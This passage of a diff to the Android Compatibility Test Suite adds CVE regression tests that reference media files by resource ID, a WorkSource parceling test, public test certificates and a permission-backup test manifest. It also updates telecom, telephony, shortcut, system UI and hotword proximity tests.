+import com.android.compatibility.common.util.mainline.ModuleDetector
 import org.junit.After
+import org.junit.Assume.assumeFalse
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
@@ -35,6 +38,8 @@
     @Test
     @AsbSecurityTest(cveBugId = [223907044])
     fun testAutoGrant() {
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+                mContext.getPackageManager(), MainlineModule.PERMISSION_CONTROLLER))
         installPackage(SPLIT_PERMISSION_APK_PATH)
         assertAppHasPermission(android.Manifest.permission.BLUETOOTH, true)
         assertAppHasPermission(android.Manifest.permission.BLUETOOTH_CONNECT, true)
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 307a3e7..4facc06 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1377,8 +1377,10 @@
         };
         server.start();
         String uri = "rtsp://127.0.0.1:8080/cve_2016_3880";
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(new CrashUtils.Config()
-                .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(
+                new CrashUtils.Config()
+                        .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT)
+                        .appendAbortMessageExcludes("CHECK\\(IsRTSPVersion"));
         LooperThread t = new LooperThread(new Runnable() {
             @Override
             public void run() {
@@ -1809,6 +1811,18 @@
      before any existing test methods
      ***********************************************************/
     @Test
+    @AsbSecurityTest(cveBugId = 240971780)
+    public void testStagefright_cve_2022_33234() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_33234);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 235102508)
+    public void testStagefright_cve_2022_25669() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_25669);
+    }
+
+    @Test
     @AsbSecurityTest(cveBugId = 223209306)
     public void testStagefright_cve_2022_22085() throws Exception {
          doStagefrightTest(R.raw.cve_2022_22085);
diff --git a/tests/tests/security/src/android/security/cts/StartForFutureActivity.kt b/tests/tests/security/src/android/security/cts/StartForFutureActivity.kt
index ed2c8e8..d5c535d 100644
--- a/tests/tests/security/src/android/security/cts/StartForFutureActivity.kt
+++ b/tests/tests/security/src/android/security/cts/StartForFutureActivity.kt
@@ -22,17 +22,22 @@
 import java.util.concurrent.CompletableFuture
 
 class StartForFutureActivity : Activity() {
-    private val future = CompletableFuture<Instrumentation.ActivityResult>()
-
-    fun startActivityForFuture(intent: Intent): CompletableFuture<Instrumentation.ActivityResult> {
+    fun startActivityForFuture(
+        intent: Intent,
+        future: CompletableFuture<Instrumentation.ActivityResult>
+    ) {
         startActivityForResult(intent, 1)
-        return future
+        StartForFutureActivity.future = future
     }
 
     override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
         super.onActivityResult(requestCode, resultCode, data)
-
-        future.complete(Instrumentation.ActivityResult(resultCode, data))
+        future!!.complete(Instrumentation.ActivityResult(resultCode, data))
+        future = null
         finish()
     }
-}
\ No newline at end of file
+
+    companion object {
+        private var future: CompletableFuture<Instrumentation.ActivityResult>? = null
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
index 73474a1..eeed518 100644
--- a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -76,7 +76,9 @@
 
     @After
     public void tearDown() throws Exception {
-        mWallpaperManager.clear(WallpaperManager.FLAG_SYSTEM | WallpaperManager.FLAG_LOCK);
+        if (mWallpaperManager != null) {
+            mWallpaperManager.clear(WallpaperManager.FLAG_SYSTEM | WallpaperManager.FLAG_LOCK);
+        }
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .dropShellPermissionIdentity();
     }
diff --git a/tests/tests/security/src/android/security/cts/WorkSourceTest.java b/tests/tests/security/src/android/security/cts/WorkSourceTest.java
new file mode 100644
index 0000000..1438b29
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/WorkSourceTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.os.WorkSource;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class WorkSourceTest extends StsExtraBusinessLogicTestCase {
+    private static final int TEST_PID = 6512;
+    private static final String TEST_PACKAGE_NAME = "android.security.cts";
+
+    @Test
+    @AsbSecurityTest(cveBugId = 220302519)
+    public void testWorkChainParceling() {
+        WorkSource ws = new WorkSource(TEST_PID, TEST_PACKAGE_NAME);
+        // Create a WorkChain so the mChains becomes non-null
+        ws.createWorkChain();
+        assertNotNull("WorkChains must be non-null in order to properly test parceling",
+                ws.getWorkChains());
+        // Then clear it so it's an empty list.
+        ws.getWorkChains().clear();
+        assertTrue("WorkChains must be empty in order to properly test parceling",
+                ws.getWorkChains().isEmpty());
+
+        Parcel p = Parcel.obtain();
+        ws.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        // Read the Parcel back out and validate the two Parcels are identical
+        WorkSource readWs = WorkSource.CREATOR.createFromParcel(p);
+        assertNotNull(readWs.getWorkChains());
+        assertTrue(readWs.getWorkChains().isEmpty());
+        assertEquals(ws, readWs);
+
+        // Assert that we've read every byte out of the Parcel.
+        assertEquals(p.dataSize(), p.dataPosition());
+
+        p.recycle();
+    }
+}
diff --git a/tests/tests/security/test-cert-1.pk8 b/tests/tests/security/test-cert-1.pk8
new file mode 100644
index 0000000..f781c30
--- /dev/null
+++ b/tests/tests/security/test-cert-1.pk8
Binary files differ
diff --git a/tests/tests/security/test-cert-1.x509.pem b/tests/tests/security/test-cert-1.x509.pem
new file mode 100644
index 0000000..06adcfe
--- /dev/null
+++ b/tests/tests/security/test-cert-1.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBbDCCARGgAwIBAgIJAMoPtk37ZudyMAoGCCqGSM49BAMCMBIxEDAOBgNVBAMM
+B2VjLXAyNTYwHhcNMTYwMzMxMTQ1ODA2WhcNNDMwODE3MTQ1ODA2WjASMRAwDgYD
+VQQDDAdlYy1wMjU2MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEpl8RPSLLSROQ
+gwesMe4roOkTi3hfrGU20U6izpDStL/hlLUM3I4Wn1SnOpke8Pp2MpglvgeMx4J0
+BwPaRLTX66NQME4wHQYDVR0OBBYEFNQTNWi5WzAVizIgceqMQ/9bBczIMB8GA1Ud
+IwQYMBaAFNQTNWi5WzAVizIgceqMQ/9bBczIMAwGA1UdEwQFMAMBAf8wCgYIKoZI
+zj0EAwIDSQAwRgIhAPUEoIZsrvAp9BcULFy3E1THn/zR1kBhjfyk8Z4W23jWAiEA
++O6kgpeZwGytCMbT0tLsBeBXQVTnR+oP27gELLZVqt0=
+-----END CERTIFICATE-----
diff --git a/tests/tests/security/test-cert-2.pk8 b/tests/tests/security/test-cert-2.pk8
new file mode 100644
index 0000000..5e73f27
--- /dev/null
+++ b/tests/tests/security/test-cert-2.pk8
Binary files differ
diff --git a/tests/tests/security/test-cert-2.x509.pem b/tests/tests/security/test-cert-2.x509.pem
new file mode 100644
index 0000000..f8e5e65
--- /dev/null
+++ b/tests/tests/security/test-cert-2.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBbTCCAROgAwIBAgIJAIhVvR3SsrIlMAoGCCqGSM49BAMCMBIxEDAOBgNVBAMM
+B2VjLXAyNTYwHhcNMTgwNzEzMTc0MTUxWhcNMjgwNzEwMTc0MTUxWjAUMRIwEAYD
+VQQDDAllYy1wMjU2XzIwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAQdTMoEcq2X
+7jzs7w2pPWK0UMZ4gzOzbnVTzen3SrXfALu6a6lQ5oRh1wu8JxtiFR2tLeK/YgPN
+IHaAHHqdRCLho1AwTjAdBgNVHQ4EFgQUeZHZKwII/ESL9QbU78n/9CjLXl8wHwYD
+VR0jBBgwFoAU1BM1aLlbMBWLMiBx6oxD/1sFzMgwDAYDVR0TBAUwAwEB/zAKBggq
+hkjOPQQDAgNIADBFAiAnaauxtJ/C9TR5xK6SpmMdq/1SLJrLC7orQ+vrmcYwEQIh
+ANJg+x0fF2z5t/pgCYv9JDGfSQWj5f2hAKb+Giqxn/Ce
+-----END CERTIFICATE-----
diff --git a/tests/tests/security/test-cert-3.pk8 b/tests/tests/security/test-cert-3.pk8
new file mode 100644
index 0000000..d7309dd
--- /dev/null
+++ b/tests/tests/security/test-cert-3.pk8
Binary files differ
diff --git a/tests/tests/security/test-cert-3.x509.pem b/tests/tests/security/test-cert-3.x509.pem
new file mode 100644
index 0000000..c028ff7
--- /dev/null
+++ b/tests/tests/security/test-cert-3.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBbjCCARWgAwIBAgIJAIOU9crRaomnMAoGCCqGSM49BAMCMBQxEjAQBgNVBAMM
+CWVjLXAyNTZfMjAeFw0xODA3MTQwMDA1MjZaFw0yODA3MTEwMDA1MjZaMBQxEjAQ
+BgNVBAMMCWVjLXAyNTZfMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABPMeYkMO
+nbb8WSjZdfxOR0GbrPyy4HyJKZ5s1+NE3SGt/TCNWMtJoaKj/srM7qSGIGnzC+Fk
+O8wlUEDYCJ37N0OjUDBOMB0GA1UdDgQWBBRvjQgosT769Xf8hrDpn6PlS8vP8DAf
+BgNVHSMEGDAWgBR5kdkrAgj8RIv1BtTvyf/0KMteXzAMBgNVHRMEBTADAQH/MAoG
+CCqGSM49BAMCA0cAMEQCICVr2qJ4TCc+TMKRpZWkZ3ne6d6QRNyferggMJVn35/p
+AiAaStjGmJG1qMR0NP6VQO0fSXm1+tNIPz+gTVZ3NVpXng==
+-----END CERTIFICATE-----
diff --git a/tests/tests/security/test-cert-4.pk8 b/tests/tests/security/test-cert-4.pk8
new file mode 100644
index 0000000..3675d50
--- /dev/null
+++ b/tests/tests/security/test-cert-4.pk8
Binary files differ
diff --git a/tests/tests/security/test-cert-4.x509.pem b/tests/tests/security/test-cert-4.x509.pem
new file mode 100644
index 0000000..4060400
--- /dev/null
+++ b/tests/tests/security/test-cert-4.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBezCCASCgAwIBAgIUbIy4qBhDPB5kMfsW+zrg+1rWCqcwCgYIKoZIzj0EAwIw
+FDESMBAGA1UEAwwJZWMtcDI1Nl8zMB4XDTIwMDUxMzE5MTUyOFoXDTMwMDUxMTE5
+MTUyOFowFDESMBAGA1UEAwwJZWMtcDI1Nl80MFkwEwYHKoZIzj0CAQYIKoZIzj0D
+AQcDQgAE20pgAx55rUnLdZAH1oVdRGm5HIurBlQ08vupca3n5NGVmaD2e15wjP2n
+VD5WMMN2nTfgk2QNfHaKFRRM0OXc9KNQME4wHQYDVR0OBBYEFG54lwMyVUM2tu6J
+JOqnAjDjk/Z4MB8GA1UdIwQYMBaAFG+NCCixPvr1d/yGsOmfo+VLy8/wMAwGA1Ud
+EwQFMAMBAf8wCgYIKoZIzj0EAwIDSQAwRgIhAM54bnnsdUdEYILpyvkQYU/4B1j5
+gZ+w8UhpUGer4PzUAiEApIgeMy3ewhFq0rWc+JHQ8zH/fifne3xiBseYjZtTkzA=
+-----END CERTIFICATE-----
diff --git a/tests/tests/security/test-cert-with-1-2-4-in-rotation-history b/tests/tests/security/test-cert-with-1-2-4-in-rotation-history
new file mode 100644
index 0000000..7326e46
--- /dev/null
+++ b/tests/tests/security/test-cert-with-1-2-4-in-rotation-history
Binary files differ
diff --git a/tests/tests/security/testdata/permissionbackuptestapp/AndroidManifest.xml b/tests/tests/security/testdata/permissionbackuptestapp/AndroidManifest.xml
new file mode 100644
index 0000000..2b75d8c
--- /dev/null
+++ b/tests/tests/security/testdata/permissionbackuptestapp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2018 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.permissionbackup" >
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+
+    <application
+        android:label="Android Permission Backup CTS App">
+        <uses-library android:name="android.test.runner" />
+    </application>
+</manifest>
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
index edc1cd2..812b1ef 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
@@ -421,7 +421,8 @@
             mLauncherContext1, mPackageContext1.getPackageName(), "s2", false));
     }
 
-    public void testSetDynamicShortcuts_PersistsShortcutsToDisk() throws Exception {
+    // TODO: b/259468694
+    public void setDynamicShortcuts_PersistsShortcutsToDisk() throws Exception {
         if (!isAppSearchEnabled()) {
             return;
         }
@@ -474,7 +475,8 @@
         });
     }
 
-    public void testRemoveAllDynamicShortcuts_RemovesShortcutsFromDisk() throws Exception {
+    // TODO: b/259468694
+    public void removeAllDynamicShortcuts_RemovesShortcutsFromDisk() throws Exception {
         if (!isAppSearchEnabled()) {
             return;
         }
@@ -533,7 +535,8 @@
         });
     }
 
-    public void testAddDynamicShortcuts_PersistsShortcutsToDisk() throws Exception {
+    // TODO: b/259468694
+    public void addDynamicShortcuts_PersistsShortcutsToDisk() throws Exception {
         if (!isAppSearchEnabled()) {
             return;
         }
@@ -588,7 +591,8 @@
         });
     }
 
-    public void testPushDynamicShortcuts_PersistsShortcutsToDisk() throws Exception {
+    // TODO: b/259468694
+    public void pushDynamicShortcuts_PersistsShortcutsToDisk() throws Exception {
         if (!isAppSearchEnabled()) {
             return;
         }
@@ -657,7 +661,8 @@
         SystemUtil.runShellCommand("cmd shortcut reset-config");
     }
 
-    public void testRemoveDynamicShortcuts_RemovesShortcutsFromDisk() throws Exception {
+    // TODO: b/259468694
+    public void removeDynamicShortcuts_RemovesShortcutsFromDisk() throws Exception {
         if (!isAppSearchEnabled()) {
             return;
         }
@@ -687,7 +692,8 @@
         });
     }
 
-    public void testRemoveLongLivedShortcuts_RemovesShortcutsFromDisk() throws Exception {
+    // TODO: b/259468694
+    public void removeLongLivedShortcuts_RemovesShortcutsFromDisk() throws Exception {
         if (!isAppSearchEnabled()) {
             return;
         }
@@ -716,7 +722,8 @@
         });
     }
 
-    public void testDisableShortcuts_RemovesShortcutsFromDisk() throws Exception {
+    // TODO: b/259468694
+    public void disableShortcuts_RemovesShortcutsFromDisk() throws Exception {
         if (!isAppSearchEnabled()) {
             return;
         }
@@ -746,7 +753,8 @@
         });
     }
 
-    public void testUpdateShortcuts_UpdateShortcutsOnDisk() throws Exception {
+    // TODO: b/259468694
+    public void updateShortcuts_UpdateShortcutsOnDisk() throws Exception {
         if (!isAppSearchEnabled()) {
             return;
         }
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index d4ba3b3..15933b6 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -29,9 +29,13 @@
     <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
 
     <application android:requestLegacyExternalStorage="true">
+        <!-- Have LightBarActivity always take up the full screen, regardless of orientation,
+             so it's never letterboxed. If the activity is letterboxed, then the status icons will
+             be outside of the activity and the tests will fail. See b/246515090. -->
         <activity android:name=".LightBarActivity"
              android:theme="@android:style/Theme.Material.NoActionBar"
-             android:screenOrientation="portrait"/>
+             android:screenOrientation="unspecified"
+             android:resizeableActivity="true"/>
         <activity android:name=".LightBarThemeActivity"
              android:theme="@style/LightBarTheme"
              android:screenOrientation="portrait"/>
diff --git a/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java b/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java
index 12574e2..226cc80 100644
--- a/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java
@@ -16,7 +16,8 @@
 
 package android.telecom.cts;
 
-import static android.telecom.cts.TestUtils.*;
+import static android.telecom.cts.TestUtils.InvokeCounter;
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
 
 import android.os.Bundle;
 import android.os.Handler;
@@ -29,7 +30,6 @@
 import android.telecom.RemoteConference;
 import android.telecom.RemoteConnection;
 import android.telecom.TelecomManager;
-import android.util.Log;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -59,6 +59,13 @@
     MockConference mConference, mRemoteConference;
     RemoteConference mRemoteConferenceObject;
 
+    @Override
+    public void tearDown() throws Exception {
+        mRemoteConference.destroy();
+        mConference.destroy();
+        super.tearDown();
+    }
+
     public void testRemoteConferenceCreate() {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index c890889..60b03b7 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -16,8 +16,18 @@
 
 package android.telecom.cts;
 
+import static android.media.AudioManager.MODE_IN_CALL;
+import static android.media.AudioManager.MODE_IN_COMMUNICATION;
+import static android.telecom.cts.TestUtils.SELF_MANAGED_ACCOUNT_LABEL;
+import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_1;
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
+import static android.telecom.cts.TestUtils.waitOnAllHandlers;
+
+import static org.junit.Assert.assertNotEquals;
+
 import android.content.Context;
 import android.database.Cursor;
+import android.graphics.Color;
 import android.media.AudioManager;
 import android.net.Uri;
 import android.provider.CallLog;
@@ -35,14 +45,6 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.function.Predicate;
 
-import static android.media.AudioManager.MODE_IN_COMMUNICATION;
-import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_1;
-import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_4;
-import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
-import static android.telecom.cts.TestUtils.waitOnAllHandlers;
-
-import static org.junit.Assert.assertNotEquals;
-
 /**
  * CTS tests for the self-managed {@link android.telecom.ConnectionService} APIs.
  * For more information about these APIs, see {@link android.telecom}, and
@@ -123,6 +125,33 @@
                 TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_3);
     }
 
+    public void testSelfManagedConnectionServiceRegistrationUnmodifiable() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        verifyAccountRegistration(TestUtils.TEST_SELF_MANAGED_HANDLE_1,
+                TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_1);
+        PhoneAccount newPhoneAccount = PhoneAccount.builder(
+                        TEST_SELF_MANAGED_HANDLE_1, SELF_MANAGED_ACCOUNT_LABEL)
+                .setAddress(Uri.parse("sip:test@test.com"))
+                .setSubscriptionAddress(Uri.parse("sip:test@test.com"))
+                .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER
+                        | PhoneAccount.CAPABILITY_SUPPORTS_VIDEO_CALLING
+                        | PhoneAccount.CAPABILITY_VIDEO_CALLING)
+                .setHighlightColor(Color.BLUE)
+                .setShortDescription(SELF_MANAGED_ACCOUNT_LABEL)
+                .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+                .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+                .build();
+        try {
+            mTelecomManager.registerPhoneAccount(newPhoneAccount);
+            fail("Self-managed phone account can be replaced to a call provider phone account!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
     private void verifyAccountRegistration(PhoneAccountHandle handle, PhoneAccount phoneAccount) {
         // The phone account is registered in the setup method.
         assertPhoneAccountRegistered(handle);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index e2fdef7..1a4010f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -3512,6 +3512,7 @@
 
             ModemActivityInfo diff = activityInfo1.getDelta(activityInfo2);
             assertNotNull(diff);
+            assertTrue("two activityInfo are identical", !activityInfo1.equals(activityInfo2));
             assertTrue("diff is" + diff, diff.isValid() || diff.isEmpty());
         } finally {
             InstrumentationRegistry.getInstrumentation().getUiAutomation()
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/VisualVoicemailServiceTest.java b/tests/tests/telephony/current/src/android/telephony/cts/VisualVoicemailServiceTest.java
index 3f6d02f..f969182 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/VisualVoicemailServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/VisualVoicemailServiceTest.java
@@ -18,6 +18,8 @@
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
+import static com.android.internal.telephony.SmsConstants.ENCODING_8BIT;
+
 import static junit.framework.Assert.assertNotNull;
 
 import static org.junit.Assert.assertEquals;
@@ -425,7 +427,7 @@
     /**
      * Setup the SMS filter with only the {@code clientPrefix}, and sends {@code text} to the
      * device. The SMS sent should not be written to the SMS provider. <p> If {@code expectVvmSms}
-     * is {@code true}, the SMS should be be caught by the SMS filter. The user should not receive
+     * is {@code true}, the SMS should be caught by the SMS filter. The user should not receive
      * the text, and the parsed result will be returned.* <p> If {@code expectVvmSms} is {@code
      * false}, the SMS should pass through the SMS filter. The user should receive the text, and
      * {@code null} be returned.
@@ -461,7 +463,7 @@
                     future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
                     throw new RuntimeException("Unexpected visual voicemail SMS received");
                 } catch (TimeoutException e) {
-                    // expected
+                    Log.i(TAG, "Expected TimeoutException" + e);
                     return null;
                 } catch (ExecutionException | InterruptedException e) {
                     throw new RuntimeException(e);
@@ -473,7 +475,6 @@
     @Nullable
     private VisualVoicemailSms getSmsFromData(VisualVoicemailSmsFilterSettings settings, short port,
             String text, boolean expectVvmSms) {
-
         mTelephonyManager.setVisualVoicemailSmsFilterSettings(settings);
 
         CompletableFuture<VisualVoicemailSms> future = new CompletableFuture<>();
@@ -497,7 +498,7 @@
                 future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
                 throw new RuntimeException("Unexpected visual voicemail SMS received");
             } catch (TimeoutException e) {
-                // expected
+                Log.i(TAG, "Expected TimeoutException!" + e);
                 return null;
             } catch (ExecutionException | InterruptedException e) {
                 throw new RuntimeException(e);
@@ -529,16 +530,28 @@
             StringBuilder messageBody = new StringBuilder();
             CharsetDecoder decoder = StandardCharsets.UTF_8.newDecoder();
             for (SmsMessage message : messages) {
-                if (message.getMessageBody() != null) {
-                    messageBody.append(message.getMessageBody());
-                } else if (message.getUserData() != null) {
+                String body = message.getMessageBody();
+
+                if ((body == null || (message.is3gpp()
+                        && message.getReceivedEncodingType() == ENCODING_8BIT))
+                        && message.getUserData() != null) {
+                    Log.d(TAG, "onReceive decode using UTF-8");
+                    // Attempt to interpret the user data as UTF-8. UTF-8 string over data SMS using
+                    // 8BIT data coding scheme is our recommended way to send VVM SMS and is used in
+                    // CTS Tests. The OMTP visual voicemail specification does not specify the SMS
+                    // type and encoding.
                     ByteBuffer byteBuffer = ByteBuffer.wrap(message.getUserData());
                     try {
-                        messageBody.append(decoder.decode(byteBuffer).toString());
+                        body = decoder.decode(byteBuffer).toString();
                     } catch (CharacterCodingException e) {
+                        Log.e(TAG, "onReceive: got CharacterCodingException"
+                                + " when decoding with UTF-8, e = " + e);
                         return;
                     }
                 }
+                if (body != null) {
+                    messageBody.append(body);
+                }
             }
             if (!TextUtils.equals(mText, messageBody.toString())) {
                 return;
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java
index 699a8f4..a47fb2b 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceProximityTest.java
@@ -28,7 +28,6 @@
 import android.os.Parcelable;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.DeviceConfig;
-import android.service.attention.AttentionService;
 import android.service.voice.HotwordDetectedResult;
 import android.voiceinteraction.common.Utils;
 import android.voiceinteraction.service.EventPayloadParcelable;
@@ -39,9 +38,11 @@
 
 import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
+import com.android.compatibility.common.util.RequiredServiceRule;
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
+import org.junit.ClassRule;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -55,8 +56,11 @@
 @AppModeFull(reason = "No real use case for instant mode hotword detection service")
 public final class HotwordDetectionServiceProximityTest
         extends AbstractVoiceInteractionBasicTestCase {
-    /** TODO(b/247920386): Replace with the system constant. */
-    private static final boolean ENABLE_PROXIMITY_RESULT = false;
+    private static final String ATTENTION_SERVICE = "attention";
+
+    @ClassRule
+    public static final RequiredServiceRule ATTENTION_SERVICE_RULE =
+            new RequiredServiceRule(ATTENTION_SERVICE);
 
     @Rule
     public final DeviceConfigStateChangerRule mEnableAttentionManagerServiceRule =
@@ -65,15 +69,20 @@
                     SERVICE_ENABLED,
                     "true");
 
-    private static final String EXTRA_PROXIMITY_METERS =
-            "android.service.voice.extra.PROXIMITY_METERS";
+    private static final String EXTRA_PROXIMITY =
+            "android.service.voice.extra.PROXIMITY";
 
     private static Instrumentation sInstrumentation = InstrumentationRegistry.getInstrumentation();
 
     private static final String SERVICE_ENABLED = "service_enabled";
     private static final String FAKE_SERVICE_PACKAGE =
             HotwordDetectionServiceProximityTest.class.getPackage().getName();
-    private static final double SUCCESSFUL_PROXIMITY_DISTANCE = 1.0;
+    private static final double PROXIMITY_NEAR_METERS = 2.0;
+    private static final double PROXIMITY_FAR_METERS = 6.0;
+    private static final int PROXIMITY_UNKNOWN = -1;
+    private static final int PROXIMITY_NEAR = 1;
+    private static final int PROXIMITY_FAR = 2;
+    private static final boolean ENABLE_PROXIMITY_RESULT = true;
 
     @BeforeClass
     public static void enableAttentionService() throws InterruptedException {
@@ -106,7 +115,7 @@
                 null);
 
         // when proximity is unknown, proximity should not be returned.
-        CtsTestAttentionService.respondProximity(AttentionService.PROXIMITY_UNKNOWN);
+        CtsTestAttentionService.respondProximity(PROXIMITY_UNKNOWN);
 
         verifyProximityBundle(
                 performAndGetDetectionResult(mActivityTestRule, mContext,
@@ -114,14 +123,21 @@
                         Utils.HOTWORD_DETECTION_SERVICE_BASIC),
                 null);
 
-        // when proximity is known, proximity should be returned.
-        CtsTestAttentionService.respondProximity(SUCCESSFUL_PROXIMITY_DISTANCE);
+        CtsTestAttentionService.respondProximity(PROXIMITY_NEAR_METERS);
 
         verifyProximityBundle(
                 performAndGetDetectionResult(mActivityTestRule, mContext,
                         Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
                         Utils.HOTWORD_DETECTION_SERVICE_BASIC),
-                SUCCESSFUL_PROXIMITY_DISTANCE);
+                PROXIMITY_NEAR);
+
+        CtsTestAttentionService.respondProximity(PROXIMITY_FAR_METERS);
+
+        verifyProximityBundle(
